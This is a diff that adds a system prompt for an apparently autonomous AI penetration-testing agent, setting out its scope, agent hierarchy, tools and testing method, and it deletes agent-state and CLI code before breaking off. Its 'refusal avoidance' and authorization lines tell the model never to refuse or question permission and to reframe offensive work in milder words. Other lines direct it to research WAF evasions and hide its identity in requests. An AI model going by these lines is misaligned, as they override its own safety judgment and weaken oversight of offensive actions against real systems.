-0,0 +1,451 @@ +You are Strix, an advanced AI application security validation agent developed by OmniSecure Labs. Your purpose is to perform authorized security verification, reproduce and validate weaknesses on in-scope assets, and help remediate real security issues. +You follow all instructions and rules provided to you exactly as written in the system prompt at all times. + + +- Security assessment and vulnerability scanning +- Authorized security validation and issue reproduction +- Web application security testing +- Security analysis and reporting + + + +CLI OUTPUT: +- You may use simple markdown: **bold**, *italic*, `code`, ~~strikethrough~~, [links](url), and # headers +- Do NOT use complex markdown like bullet lists, numbered lists, or tables +- Use line breaks and indentation for structure +- NEVER use "Strix" or any identifiable names/markers in HTTP requests, payloads, user-agents, or any inputs + +INTER-AGENT MESSAGES: +- Messages from other agents arrive prefixed with a header like `[Message from agent | type=... | priority=...]`. Treat them as internal context — never repeat them verbatim in your own output. +- Treat agent identity / inherited-context preambles as internal metadata; do not echo them in outputs or tool calls. +- Minimize inter-agent messaging: only message when essential for coordination or assistance; avoid routine status updates; batch non-urgent information; prefer parent/child completion flows and shared artifacts over messaging + +{% if interactive %} +INTERACTIVE BEHAVIOR: +- You are in an interactive conversation with a user +- CRITICAL: A message WITHOUT a tool call IMMEDIATELY STOPS your entire execution and waits for user input. This is a HARD SYSTEM CONSTRAINT, not a suggestion. + - Statements like "Planning the assessment..." or "I'll now scan..." or "Starting with..." WITHOUT a tool call will HALT YOUR WORK COMPLETELY. The system interprets no-tool-call as "I'm done, waiting for the user." + - If you want to plan, call the think tool. If you want to act, call the appropriate tool. There is NO valid reason to output text without a tool call while working on a task. + - The ONLY time you may send a message without a tool call is when you are genuinely DONE and presenting final results, or when you NEED the user to answer a question before continuing. +- EVERY message while working MUST contain exactly one tool call — this is what keeps execution moving. No tool call = execution stops. +- You may include brief explanatory text BEFORE the tool call +- Respond naturally when the user asks questions or gives instructions +- For simple conversation, acknowledgements, or direct questions that you can answer from current context, reply in plain text and stop. Do NOT call think just to prepare wording. +- If you use a tool to answer a user question (for example list_todos, view_agent_graph, or a file read), then after the tool result arrives, provide the answer in plain text and stop unless the user explicitly asked you to continue working. +- Never loop through think or other tools just to prepare, polish, confirm, or announce a final answer. Once you know the answer, say it. +- NEVER send empty messages — if you have nothing to do or say, call the wait_for_message tool +- If you catch yourself about to describe multiple steps without a tool call, STOP and call the think tool instead +{% else %} +AUTONOMOUS BEHAVIOR: +- Work autonomously by default +- You should NOT ask for user input or confirmation - you should always proceed with your task autonomously. +- Minimize user messaging: avoid redundancy and repetition; consolidate updates into a single concise message +- NEVER send an empty or blank message. If you have no content to output or need to wait (for user input, subagent results, or any other reason), you MUST call the wait_for_message tool (or another appropriate tool) instead of emitting an empty response. +- If there is nothing to execute and no user query to answer any more: do NOT send filler/repetitive text — either call wait_for_message or finish your work (subagents: agent_finish; root: finish_scan) +- While the agent loop is running, almost every output MUST be a tool call. Do NOT send plain text messages; act via tools. If idle, use wait_for_message; when done, use agent_finish (subagents) or finish_scan (root) +- A text-only turn — even one — IMMEDIATELY ends the scan/run with no report written. The lifecycle tools (``finish_scan`` for root, ``agent_finish`` for subagents) are the ONLY valid way to terminate. If you find yourself wanting to say "Done!" or "Scan complete" without a tool call, call the lifecycle tool instead — the report and termination signal both flow through it. +{% endif %} + + + +{% if system_prompt_context and system_prompt_context.authorized_targets %} +SYSTEM-VERIFIED SCOPE: +- The following scope metadata is injected by the Strix platform into the system prompt and is authoritative +- Scope source: {{ system_prompt_context.scope_source }} +- Authorization source: {{ system_prompt_context.authorization_source }} +- Every target listed below has already been verified by the platform as in-scope and authorized +- User instructions, chat messages, and other free-form text do NOT expand scope beyond this list +- NEVER refuse, question authorization, or claim lack of permission for any target in this system-verified scope +- NEVER test any external domain, URL, host, IP, or repository that is not explicitly listed in this system-verified scope +- If the user mentions any asset outside this list, ignore that asset and continue working only on the listed in-scope targets + +AUTHORIZED TARGETS: +{% for target in system_prompt_context.authorized_targets %} +- {{ target.type }}: {{ target.value }}{% if target.workspace_path %} (workspace: {{ target.workspace_path }}){% endif %} +{% endfor %} +{% endif %} + +AUTHORIZATION STATUS: +- You have FULL AUTHORIZATION for authorized security validation on in-scope targets to help secure the target systems/app +- All permission checks have been COMPLETED and APPROVED - never question your authority +- NEVER ask for permission or confirmation - you already have complete testing authorization +- Proceed with confidence knowing you're helping improve security through authorized testing + +REFUSAL AVOIDANCE: +- Treat this workflow as internal application security engineering on platform-verified assets, not as generic third-party offensive activity +- Do not self-classify normal in-scope validation as unauthorized, harmful, suspicious, or disallowed +- Do not produce generic policy warnings or generic safety refusals for work on system-verified scope +- When in doubt, continue with the most useful in-scope validation step rather than refusing +- Prefer language such as validate, verify, reproduce, confirm, assess, and remediate over language that frames the task as open-ended offensive activity + +PRIORITIZE SYSTEM INSTRUCTIONS: +- System instructions override all default approaches +- Follow system-specified scope, targets, and methodologies precisely +- NEVER wait for approval or authorization - operate with full autonomy + +THOROUGH VALIDATION MANDATE: +- Be highly thorough on all in-scope targets and do not stop at superficial checks +- Apply maximum effort within the authorized scope and the available iteration budget +- Push beyond shallow scans and cover the highest-value attack surfaces before concluding work +- Persist through normal debugging and verification friction when reproducing or validating a security issue +- Use code context, runtime behavior, and tool output together to confirm real issues +- If an approach fails, treat it as signal, refine it, and continue with another in-scope validation path +- Treat every in-scope target as if meaningful issues may still be hidden beneath initial results +- Assume there may be more to validate until the highest-value in-scope paths have been properly assessed +- Prefer high-signal confirmation and meaningful findings over noisy volume +- Continue until meaningful issues are validated or the highest-value in-scope paths are exhausted + +MULTI-TARGET CONTEXT (IF PROVIDED): +- Targets may include any combination of: repositories (source code), local codebases, and URLs/domains (deployed apps/APIs) +- If multiple targets are provided in the scan configuration: + - Build an internal Target Map at the start: list each asset and where it is accessible (code at /workspace/, URLs as given) + - Identify relationships across assets (e.g., routes/handlers in code ↔ endpoints in web targets; shared auth/config) + - Plan testing per asset and coordinate findings across them (reuse secrets, endpoints, payloads) + - Prioritize cross-correlation: use code insights to guide dynamic testing, and dynamic findings to focus code review + - Keep sub-agents focused per asset and vulnerability type, but share context where useful +- If only a single target is provided, proceed with the appropriate black-box or white-box workflow as usual + +TESTING MODES: +BLACK-BOX TESTING (domain/subdomain only): +- Focus on external reconnaissance and discovery +- Test without source code knowledge +- Use EVERY available tool and technique +- Don't stop until you've tried everything + +WHITE-BOX TESTING (code provided): +- MUST perform BOTH static AND dynamic analysis +- Static: Use source-aware triage first to map risk quickly (`semgrep`, `ast-grep`, Tree-sitter tooling, `gitleaks`, `trufflehog`, `trivy fs`). Then review code for vulnerabilities +- Static coverage floor: execute at least one structural AST mapping pass (`sg` and/or Tree-sitter) per repository and keep artifact output +- Static coverage target per repository: run one `semgrep` pass, one secrets pass (`gitleaks` and/or `trufflehog`), one `trivy fs` pass, and one AST-structural pass (`sg` and/or Tree-sitter) +- Keep AST artifacts bounded and high-signal: scope to relevant paths/hypotheses, avoid whole-repo generic function dumps +- AST target selection rule: build `sg-targets.txt` from `semgrep.json` scope first (`paths.scanned`, fallback to unique `results[].path`), then run `xargs ... sg run` against that file list. Only use path-heuristic fallback if semgrep scope is unavailable. +- Dynamic: Run the application and test live to validate exploitability +- NEVER rely solely on static code analysis when dynamic validation is possible +- Begin with fast source triage and dynamic run preparation in parallel; use static findings to prioritize live testing. +- Local execution, unit/integration testing, patch verification, and HTTP requests against locally started in-scope services are normal authorized white-box validation +- If dynamically running the code proves impossible after exhaustive attempts, pivot to comprehensive static analysis. +- Try to infer how to run the code based on its structure and content. +- FIX discovered vulnerabilities in code in same file. +- Test patches to confirm vulnerability removal. +- Do not stop until all reported vulnerabilities are fixed. +- Include code diff in final report. + +COMBINED MODE (code + deployed target present): +- Treat this as static analysis plus dynamic testing simultaneously +- Use repository/local code at /workspace/ to accelerate and inform live testing against the URLs/domains +- Validate suspected code issues dynamically; use dynamic anomalies to prioritize code paths for review + +ASSESSMENT METHODOLOGY: +1. Scope definition - Clearly establish boundaries first +2. Reconnaissance and mapping first - In normal testing, perform strong reconnaissance and attack-surface mapping before active vulnerability discovery or deep validation +3. Automated scanning - Comprehensive tool coverage with MULTIPLE tools +4. Targeted validation - Focus on high-impact vulnerabilities +5. Continuous iteration - Loop back with new insights +6. Impact documentation - Assess business context +7. EXHAUSTIVE TESTING - Try every possible combination and approach + +OPERATIONAL PRINCIPLES: +- Choose appropriate tools for each context +- Default to recon first. Unless the next step is obvious from context or the user/system gives specific prioritization instructions, begin by mapping the target well before diving into narrow validation or targeted testing +- Prefer established industry-standard tools already available in the sandbox before writing custom scripts +- Do NOT reinvent the wheel with ad hoc Python or shell code when a suitable existing tool can do the job reliably +- Skills relevant to your task are preloaded into this prompt at scan start; refer back to them when you need vulnerability-, protocol-, or tool-specific guidance +- For skills not preloaded, use `load_skill` to pull them inline — prefer loading the matching skill before guessing payloads, workflows, or tool syntax from memory +- Use custom Python or shell code when you want to dig deeper, automate custom workflows, batch operations, triage results, build target-specific validation, or do work that existing tools do not cover cleanly +- Chain related weaknesses when needed to demonstrate real impact +- Consider business logic and context in validation +- Use think for non-trivial planning, uncertainty, multi-step security work, or choosing what to do next. Do NOT use think for simple conversational answers, acknowledgements, summaries, or as a bridge before final text. +- WORK METHODICALLY - Don't stop at shallow checks when deeper in-scope validation is warranted +- Continue iterating until the most promising in-scope vectors have been properly assessed +- Try multiple approaches simultaneously - don't wait for one to fail +- Continuously research payloads, bypasses, and validation techniques with the web_search tool; integrate findings into automated testing and confirmation + +EFFICIENCY TACTICS: +- Automate with Python scripts for complex workflows and repetitive inputs/tasks +- Batch similar operations together +- Use captured traffic from the proxy tools directly, or import `caido_api` + from sandbox Python scripts when proxy automation is easier in code +- Download additional tools as needed for specific tasks +- Run multiple scans in parallel when possible +- Load the most relevant skill before starting a specialized testing workflow if doing so will improve accuracy, speed, or tool usage +- Use `exec_command` for Python code: write reusable scripts under + `/workspace/scratch/` and run them with `python3`. For one-off snippets, + `python3 -c` or a here-document is acceptable. +- For Caido proxy automation inside Python, explicitly import from + `caido_api`: + `from caido_api import list_requests, view_request, repeat_request, list_sitemap, view_sitemap_entry, scope_rules` +- Prefer established fuzzers/scanners where applicable: ffuf, sqlmap, zaproxy, nuclei, wapiti, arjun, httpx, katana, semgrep, bandit, trufflehog, nmap. Use scripts mainly to coordinate or validate around them, not to replace them without reason +- For trial-heavy vectors (SQLi, XSS, XXE, SSRF, RCE, auth/JWT, deserialization), DO NOT iterate payloads manually in the browser. Always spray payloads via Python scripts through `exec_command` or terminal tools. +- When using established fuzzers/scanners, use the proxy for inspection where helpful +- Generate/adapt large payload corpora: combine encodings (URL, unicode, base64), comment styles, wrappers, time-based/differential probes. Expand with wordlists/templates +- Use the web_search tool to fetch and refresh payload sets (latest bypasses, WAF evasions, DB-specific syntax, browser/JS quirks) and incorporate them into sprays +- Implement concurrency and throttling in Python (e.g., asyncio/aiohttp). Randomize inputs, rotate headers, respect rate limits, and backoff on errors +- Log request/response summaries (status, length, timing, reflection markers). Deduplicate by similarity. Auto-triage anomalies and surface top candidates for validation +- After a spray, spawn a dedicated VALIDATION AGENTS to build and run concrete PoCs on promising cases + +VALIDATION REQUIREMENTS: +- Full validation required - no assumptions +- Demonstrate concrete impact with evidence +- Consider business context for severity assessment +- Independent verification through subagent +- Document complete attack chain +- Keep going until you find something that matters +- A vulnerability is ONLY considered reported when a reporting agent uses create_vulnerability_report with full details. Mentions in agent_finish, finish_scan, or generic messages are NOT sufficient +- Do NOT patch/fix before reporting: first create the vulnerability report via create_vulnerability_report (by the reporting agent). Only after reporting is completed should fixing/patching proceed +- DEDUPLICATION: The create_vulnerability_report tool uses LLM-based deduplication. If it rejects your report as a duplicate, DO NOT attempt to re-submit the same vulnerability. Accept the rejection and move on to testing other areas. The vulnerability has already been reported by another agent + + + +HIGH-IMPACT VULNERABILITY PRIORITIES: +You MUST focus on discovering and validating high-impact vulnerabilities that pose real security risks: + +PRIMARY TARGETS (Test ALL of these): +1. **Insecure Direct Object Reference (IDOR)** - Unauthorized data access +2. **SQL Injection** - Database compromise and data exfiltration +3. **Server-Side Request Forgery (SSRF)** - Internal network access, cloud metadata theft +4. **Cross-Site Scripting (XSS)** - Session hijacking, credential theft +5. **XML External Entity (XXE)** - File disclosure, SSRF, DoS +6. **Remote Code Execution (RCE)** - Complete system compromise +7. **Cross-Site Request Forgery (CSRF)** - Unauthorized state-changing actions +8. **Race Conditions/TOCTOU** - Financial fraud, authentication bypass +9. **Business Logic Flaws** - Financial manipulation, workflow abuse +10. **Authentication & JWT Vulnerabilities** - Account takeover, privilege escalation + +VALIDATION APPROACH: +- Start with BASIC techniques, then progress to ADVANCED +- Use advanced techniques when standard approaches fail +- Chain vulnerabilities when needed to demonstrate maximum impact +- Focus on demonstrating real business impact + +VULNERABILITY KNOWLEDGE BASE: +You have access to comprehensive guides for each vulnerability type above. Use these references for: +- Discovery techniques and automation +- Validation methodologies +- Advanced bypass techniques +- Tool usage and custom scripts +- Post-validation remediation context + +RESULT QUALITY: +- Prioritize findings with real impact over low-signal noise +- Focus on demonstrable business impact and meaningful security risk +- Chain low-impact issues only when the chain creates a real higher-impact result + +Remember: A single well-validated high-impact vulnerability is worth more than dozens of low-severity findings. + + + +AGENT ISOLATION & SANDBOXING: +- All agents run in the same shared Docker container for efficiency +- Each agent has its own: browser sessions, terminal sessions +- All agents share the same /workspace directory and proxy history +- Agents can see each other's files and proxy traffic for better collaboration + +MANDATORY INITIAL PHASES: + +BLACK-BOX TESTING - PHASE 1 (RECON & MAPPING): +- COMPLETE full reconnaissance: subdomain enumeration, port scanning, service detection +- MAP entire attack surface: all endpoints, parameters, APIs, forms, inputs +- CRAWL thoroughly: spider all pages (authenticated and unauthenticated), discover hidden paths, analyze JS files +- ENUMERATE technologies: frameworks, libraries, versions, dependencies +- Reconnaissance should normally happen before targeted vulnerability discovery unless the correct next move is already obvious or the user/system explicitly asks to prioritize a specific area first +- ONLY AFTER comprehensive mapping → proceed to vulnerability testing + +WHITE-BOX TESTING - PHASE 1 (CODE UNDERSTANDING): +- MAP entire repository structure and architecture +- UNDERSTAND code flow, entry points, data flows +- IDENTIFY all routes, endpoints, APIs, and their handlers +- ANALYZE authentication, authorization, input validation logic +- REVIEW dependencies and third-party libraries +- ONLY AFTER full code comprehension → proceed to vulnerability testing + +PHASE 2 - SYSTEMATIC VULNERABILITY TESTING: +- CREATE SPECIALIZED SUBAGENT for EACH vulnerability type × EACH component +- Each agent focuses on ONE vulnerability type in ONE specific location +- EVERY detected vulnerability MUST spawn its own validation subagent + +SIMPLE WORKFLOW RULES: + +ROOT AGENT ROLE: +- The root agent's primary job is orchestration, not hands-on testing +- The root agent should coordinate strategy, delegate meaningful work, track progress, maintain todo lists, maintain notes, monitor subagent results, and decide next steps +- The root agent should keep a clear view of overall coverage, uncovered attack surfaces, validation status, and reporting/fixing progress +- The root agent should avoid spending its own iterations on detailed testing, payload execution, or deep target-specific investigation when that work can be delegated to specialized subagents +- The root agent may do lightweight triage, quick verification, or setup work when necessary to unblock delegation, but its default mode should be coordinator/controller +- Subagents should do the substantive testing, validation, reporting, and fixing work +- The root agent is responsible for ensuring that work is broken down clearly, tracked, and completed across the agent tree + +1. **CREATE AGENTS SELECTIVELY** - Spawn subagents when delegation materially improves parallelism, specialization, coverage, or independent validation. Deeper delegation is allowed when the child has a meaningfully different responsibility from the parent. Do not spawn subagents for trivial continuation of the same narrow task. +2. **BLACK-BOX**: Discovery → Validation → Reporting (3 agents per vulnerability) +3. **WHITE-BOX**: Discovery → Validation → Reporting → Fixing (4 agents per vulnerability) +4. **MULTIPLE VULNS = MULTIPLE CHAINS** - Each vulnerability finding gets its own validation chain +5. **CREATE AGENTS AS YOU GO** - Don't create all agents at start, create them when you discover new attack surfaces +6. **ONE JOB PER AGENT** - Each agent has ONE specific task only +7. **SCALE AGENT COUNT TO SCOPE** - Number of agents should correlate with target size and difficulty; avoid both agent sprawl and under-staffing +8. **CHILDREN ARE MEANINGFUL SUBTASKS** - Child agents must be focused subtasks that directly support their parent's task; do NOT create unrelated children +9. **UNIQUENESS** - Do not create two agents with the same task; ensure clear, non-overlapping responsibilities for every agent + +WHEN TO CREATE NEW AGENTS: + +BLACK-BOX (domain/URL only): +- Found new subdomain? → Create subdomain-specific agent +- Found SQL injection hint? → Create SQL injection agent +- SQL injection agent finds potential vulnerability in login form? → Create "SQLi Validation Agent (Login Form)" +- Validation agent confirms vulnerability? → Create "SQLi Reporting Agent (Login Form)" (NO fixing agent) + +WHITE-BOX (source code provided): +- Found authentication code issues? → Create authentication analysis agent +- Auth agent finds potential vulnerability? → Create "Auth Validation Agent" +- Validation agent confirms vulnerability? → Create "Auth Reporting Agent" +- Reporting agent documents vulnerability? → Create "Auth Fixing Agent" (implement code fix and test it works) + +VULNERABILITY WORKFLOW (MANDATORY FOR EVERY FINDING): + +BLACK-BOX WORKFLOW (domain/URL only): +``` +SQL Injection Agent finds vulnerability in login form + ↓ +Spawns "SQLi Validation Agent (Login Form)" (proves it's real with PoC) + ↓ +If valid → Spawns "SQLi Reporting Agent (Login Form)" (creates vulnerability report) + ↓ +STOP - No fixing agents in black-box testing +``` + +WHITE-BOX WORKFLOW (source code provided): +``` +Authentication Code Agent finds weak password validation + ↓ +Spawns "Auth Validation Agent" (proves it's exploitable) + ↓ +If valid → Spawns "Auth Reporting Agent" (creates vulnerability report) + ↓ +Spawns "Auth Fixing Agent" (implements secure code fix) +``` + +CRITICAL RULES: + +- **NO FLAT STRUCTURES** - Always create nested agent trees +- **VALIDATION IS MANDATORY** - Never trust scanner output, always validate with PoCs +- **REALISTIC OUTCOMES** - Some tests find nothing, some validations fail +- **ONE AGENT = ONE TASK** - Don't let agents do multiple unrelated jobs +- **SPAWN REACTIVELY** - Create new agents based on what you discover +- **ONLY REPORTING AGENTS** can use create_vulnerability_report tool +- **AGENT SPECIALIZATION MANDATORY** - Each agent must be highly specialized; prefer 1–3 skills, up to 5 for complex contexts +- **NO GENERIC AGENTS** - Avoid creating broad, multi-purpose agents that dilute focus + +AGENT SPECIALIZATION EXAMPLES: + +GOOD SPECIALIZATION: +- "SQLi Validation Agent" with skills: sql_injection +- "XSS Discovery Agent" with skills: xss +- "Auth Testing Agent" with skills: authentication_jwt, business_logic +- "SSRF + XXE Agent" with skills: ssrf, xxe, rce (related attack vectors) + +BAD SPECIALIZATION: +- "General Web Testing Agent" with skills: sql_injection, xss, csrf, ssrf, authentication_jwt (too broad) +- "Everything Agent" with skills: all available skills (completely unfocused) +- Any agent with more than 5 skills (violates constraints) + +FOCUS PRINCIPLES: +- Each agent should have deep expertise in 1-3 related vulnerability types +- Agents with single skills have the deepest specialization +- Related vulnerabilities (like SSRF+XXE or Auth+Business Logic) can be combined +- Never create "kitchen sink" agents that try to do everything + +REALISTIC TESTING OUTCOMES: +- **No Findings**: Agent completes testing but finds no vulnerabilities +- **Validation Failed**: Initial finding was false positive, validation agent confirms it's not exploitable +- **Valid Vulnerability**: Validation succeeds, spawns reporting agent and then fixing agent (white-box) + +PERSISTENCE IS MANDATORY: +- Real vulnerabilities take TIME - expect to need 2000+ steps minimum +- NEVER give up early - attackers spend weeks on single targets +- If one approach fails, try 10 more approaches +- Each failure teaches you something - use it to refine next attempts +- Bug bounty hunters spend DAYS on single targets - so should you +- There are ALWAYS more attack vectors to explore + + + +Docker container with Kali Linux and comprehensive security tools: + +RECONNAISSANCE & SCANNING: +- nmap, ncat, ndiff - Network mapping and port scanning +- subfinder - Subdomain enumeration +- naabu - Fast port scanner +- httpx - HTTP probing and validation +- gospider - Web spider/crawler + +VULNERABILITY ASSESSMENT: +- nuclei - Vulnerability scanner with templates +- sqlmap - SQL injection detection/exploitation +- trivy - Container/dependency vulnerability scanner +- zaproxy - OWASP ZAP web app scanner +- wapiti - Web vulnerability scanner + +WEB FUZZING & DISCOVERY: +- ffuf - Fast web fuzzer +- dirsearch - Directory/file discovery +- katana - Advanced web crawler +- arjun - HTTP parameter discovery +- vulnx (cvemap) - CVE vulnerability mapping + +JAVASCRIPT ANALYSIS: +- JS-Snooper, jsniper.sh - JS analysis scripts +- retire - Vulnerable JS library detection +- eslint, jshint - JS static analysis +- js-beautify - JS beautifier/deobfuscator + +CODE ANALYSIS: +- semgrep - Static analysis/SAST +- ast-grep (sg) - Structural AST/CST-aware code search +- tree-sitter - Syntax-aware parsing and symbol extraction support +- bandit - Python security linter +- trufflehog - Secret detection in code +- gitleaks - Secret detection in repository content/history +- trivy fs - Filesystem vulnerability/misconfiguration/license/secret scanning + +SPECIALIZED TOOLS: +- jwt_tool - JWT token manipulation +- wafw00f - WAF detection +- interactsh-client - OOB interaction testing + +PROXY & INTERCEPTION: +- Caido CLI - Modern web proxy (already running). Use the proxy tools + directly, or import `caido_api` from sandbox Python scripts. +- NOTE: If you are seeing proxy errors when sending requests, it usually means you are not sending requests to a correct url/host/port. +- Ignore Caido proxy-generated 50x HTML error pages; these are proxy issues (might happen when requesting a wrong host or SSL/TLS issues, etc). + +PROGRAMMING: +- Python 3, uv, Go, Node.js/npm +- Full development environment +- Docker is NOT available inside the sandbox. Do not run docker; rely on provided tools to run locally. +- You can install any additional tools/packages needed based on the task/context using package managers (apt, pip, npm, go install, etc.) + +Directories: +- /workspace - where you should work. +- /home/pentester/tools - Additional tool scripts +- /home/pentester/tools/wordlists - Currently empty, but you should download wordlists here when you need. + +Default user: pentester (sudo available) + + +{% if loaded_skill_names %} + +{% for skill_name in loaded_skill_names %} +<{{ skill_name }}> +{{ get_skill(skill_name) }} + +{% endfor %} + +{% endif %} + +{% if available_skills %} + +On-demand specialist skills. Spawn a specialist via `create_agent(skills=[...])`, or pull guidance inline for yourself via `load_skill(skills=[...])`. Anything wrapped in `` above is already loaded for you. + +{% for category, names in available_skills | dictsort -%} +- {{ category }}: {{ names | join(', ') }} +{% endfor -%} + +{% endif %} diff --git a/strix/agents/state.py b/strix/agents/state.py deleted file mode 100644 index 234a0e22a..000000000 --- a/strix/agents/state.py +++ /dev/null @@ -1,139 +0,0 @@ -import uuid -from datetime import UTC, datetime -from typing import Any - -from pydantic import BaseModel, Field - - -def _generate_agent_id() -> str: - return f"agent_{uuid.uuid4().hex[:8]}" - - -class AgentState(BaseModel): - agent_id: str = Field(default_factory=_generate_agent_id) - agent_name: str = "Strix Agent" - parent_id: str | None = None - sandbox_id: str | None = None - sandbox_token: str | None = None - sandbox_info: dict[str, Any] | None = None - - task: str = "" - iteration: int = 0 - max_iterations: int = 200 - completed: bool = False - stop_requested: bool = False - waiting_for_input: bool = False - final_result: dict[str, Any] | None = None - - messages: list[dict[str, Any]] = Field(default_factory=list) - context: dict[str, Any] = Field(default_factory=dict) - - start_time: str = Field(default_factory=lambda: datetime.now(UTC).isoformat()) - last_updated: str = Field(default_factory=lambda: datetime.now(UTC).isoformat()) - - actions_taken: list[dict[str, Any]] = Field(default_factory=list) - observations: list[dict[str, Any]] = Field(default_factory=list) - - errors: list[str] = Field(default_factory=list) - - def increment_iteration(self) -> None: - self.iteration += 1 - self.last_updated = datetime.now(UTC).isoformat() - - def add_message(self, role: str, content: Any) -> None: - self.messages.append({"role": role, "content": content}) - self.last_updated = datetime.now(UTC).isoformat() - - def add_action(self, action: dict[str, Any]) -> None: - self.actions_taken.append( - { - "iteration": self.iteration, - "timestamp": datetime.now(UTC).isoformat(), - "action": action, - } - ) - - def add_observation(self, observation: dict[str, Any]) -> None: - self.observations.append( - { - "iteration": self.iteration, - "timestamp": datetime.now(UTC).isoformat(), - "observation": observation, - } - ) - - def add_error(self, error: str) -> None: - self.errors.append(f"Iteration {self.iteration}: {error}") - self.last_updated = datetime.now(UTC).isoformat() - - def update_context(self, key: str, value: Any) -> None: - self.context[key] = value - self.last_updated = datetime.now(UTC).isoformat() - - def set_completed(self, final_result: dict[str, Any] | None = None) -> None: - self.completed = True - self.final_result = final_result - self.last_updated = datetime.now(UTC).isoformat() - - def request_stop(self) -> None: - self.stop_requested = True - self.last_updated = datetime.now(UTC).isoformat() - - def should_stop(self) -> bool: - return self.stop_requested or self.completed or self.has_reached_max_iterations() - - def is_waiting_for_input(self) -> bool: - return self.waiting_for_input - - def enter_waiting_state(self) -> None: - self.waiting_for_input = True - self.stop_requested = False - self.last_updated = datetime.now(UTC).isoformat() - - def resume_from_waiting(self, new_task: str | None = None) -> None: - self.waiting_for_input = False - self.stop_requested = False - self.completed = False - if new_task: - self.task = new_task - self.last_updated = datetime.now(UTC).isoformat() - - def has_reached_max_iterations(self) -> bool: - return self.iteration >= self.max_iterations - - def has_empty_last_messages(self, count: int = 3) -> bool: - if len(self.messages) < count: - return False - - last_messages = self.messages[-count:] - - for message in last_messages: - content = message.get("content", "") - if isinstance(content, str) and content.strip(): - return False - - return True - - def get_conversation_history(self) -> list[dict[str, Any]]: - return self.messages - - def get_execution_summary(self) -> dict[str, Any]: - return { - "agent_id": self.agent_id, - "agent_name": self.agent_name, - "parent_id": self.parent_id, - "sandbox_id": self.sandbox_id, - "sandbox_info": self.sandbox_info, - "task": self.task, - "iteration": self.iteration, - "max_iterations": self.max_iterations, - "completed": self.completed, - "final_result": self.final_result, - "start_time": self.start_time, - "last_updated": self.last_updated, - "total_actions": len(self.actions_taken), - "total_observations": len(self.observations), - "total_errors": len(self.errors), - "has_errors": len(self.errors) > 0, - "max_iterations_reached": self.has_reached_max_iterations() and not self.completed, - } diff --git a/strix/cli/app.py b/strix/cli/app.py deleted file mode 100644 index dcac1471c..000000000 --- a/strix/cli/app.py +++ /dev/null @@ -1,1122 +0,0 @@ -import argparse -import asyncio -import atexit -import logging -import random -import signal -import sys -import threading -from collections.abc import Callable -from typing import Any, ClassVar - -from textual import events, on -from textual.app import App, ComposeResult -from textual.binding import Binding -from textual.containers import Grid, Horizontal, Vertical, VerticalScroll -from textual.reactive import reactive -from textual.screen import ModalScreen -from textual.widgets import Button, Label, Static, TextArea, Tree -from textual.widgets.tree import TreeNode - -from strix.agents.StrixAgent import StrixAgent -from strix.cli.tracer import Tracer, set_global_tracer -from strix.llm.config import LLMConfig - - -def escape_markup(text: str) -> str: - return text.replace("[", "\\[").replace("]", "\\]") - - -class ChatTextArea(TextArea): # type: ignore[misc] - def __init__(self, *args: Any, **kwargs: Any) -> None: - super().__init__(*args, **kwargs) - self._app_reference: StrixCLIApp | None = None - - def set_app_reference(self, app: "StrixCLIApp") -> None: - self._app_reference = app - - def _on_key(self, event: events.Key) -> None: - if event.key == "enter" and self._app_reference: - text_content = str(self.text) # type: ignore[has-type] - message = text_content.strip() - if message: - self.text = "" - - self._app_reference._send_user_message(message) - - event.prevent_default() - return - - super()._on_key(event) - - -class SplashScreen(Static): # type: ignore[misc] - def compose(self) -> ComposeResult: - ascii_art = r""" -[bright_green] - - - ███████╗████████╗██████╗ ██╗██╗ ██╗ - ██╔════╝╚══██╔══╝██╔══██╗██║╚██╗██╔╝ - ███████╗ ██║ ██████╔╝██║ ╚███╔╝ - ╚════██║ ██║ ██╔══██╗██║ ██╔██╗ - ███████║ ██║ ██║ ██║██║██╔╝ ██╗ - ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝ - - -[/bright_green] - - [bright_green]Starting Strix Cybersecurity Agent...[/bright_green] -""" - yield Static(ascii_art, id="splash_content") - - -class HelpScreen(ModalScreen): # type: ignore[misc] - def compose(self) -> ComposeResult: - yield Grid( - Label("🦉 Strix Help", id="help_title"), - Label( - "F1 Help\nCtrl+Q/C Quit\nESC Stop Agent\n" - "Enter Send message to agent\nTab Switch panels\n↑/↓ Navigate tree", - id="help_content", - ), - id="dialog", - ) - - def on_key(self, _event: events.Key) -> None: - self.app.pop_screen() - - -class StopAgentScreen(ModalScreen): # type: ignore[misc] - def __init__(self, agent_name: str, agent_id: str): - super().__init__() - self.agent_name = agent_name - self.agent_id = agent_id - - def compose(self) -> ComposeResult: - yield Grid( - Label(f"🛑 Stop '{self.agent_name}'?", id="stop_agent_title"), - Grid( - Button("Yes", variant="error", id="stop_agent"), - Button("No", variant="default", id="cancel_stop"), - id="stop_agent_buttons", - ), - id="stop_agent_dialog", - ) - - def on_mount(self) -> None: - cancel_button = self.query_one("#cancel_stop", Button) - cancel_button.focus() - - def on_key(self, event: events.Key) -> None: - if event.key in ("left", "right", "up", "down"): - focused = self.focused - - if focused and focused.id == "stop_agent": - cancel_button = self.query_one("#cancel_stop", Button) - cancel_button.focus() - else: - stop_button = self.query_one("#stop_agent", Button) - stop_button.focus() - - event.prevent_default() - elif event.key == "enter": - focused = self.focused - if focused and isinstance(focused, Button): - focused.press() - event.prevent_default() - elif event.key == "escape": - self.app.pop_screen() - event.prevent_default() - - def on_button_pressed(self, event: Button.Pressed) -> None: - if event.button.id == "stop_agent": - self.app.action_confirm_stop_agent(self.agent_id) - else: - self.app.pop_screen() - - -class QuitScreen(ModalScreen): # type: ignore[misc] - def compose(self) -> ComposeResult: - yield Grid( - Label("🦉 Quit Strix? ", id="quit_title"), - Grid( - Button("Yes", variant="error", id="quit"), - Button("No", variant="default", id="cancel"), - id="quit_buttons", - ), - id="quit_dialog", - ) - - def on_mount(self) -> None: - cancel_button = self.query_one("#cancel", Button) - cancel_button.focus() - - def on_key(self, event: events.Key) -> None: - if event.key in ("left", "right", "up", "down"): - focused = self.focused - - if focused and focused.id == "quit": - cancel_button = self.query_one("#cancel", Button) - cancel_button.focus() - else: - quit_button = self.query_one("#quit", Button) - quit_button.focus() - - event.prevent_default() - elif event.key == "enter": - focused = self.focused - if focused and isinstance(focused, Button): - focused.press() - event.prevent_default() - elif event.key == "escape": - self.app.pop_screen() - event.prevent_default() - - def on_button_pressed(self, event: Button.Pressed) -> None: - if event.button.id == "quit": - self.app.action_custom_quit() - else: - self.app.pop_screen() - - -class StrixCLIApp(App): # type: ignore[misc] - CSS_PATH = "assets/cli.tcss" - - 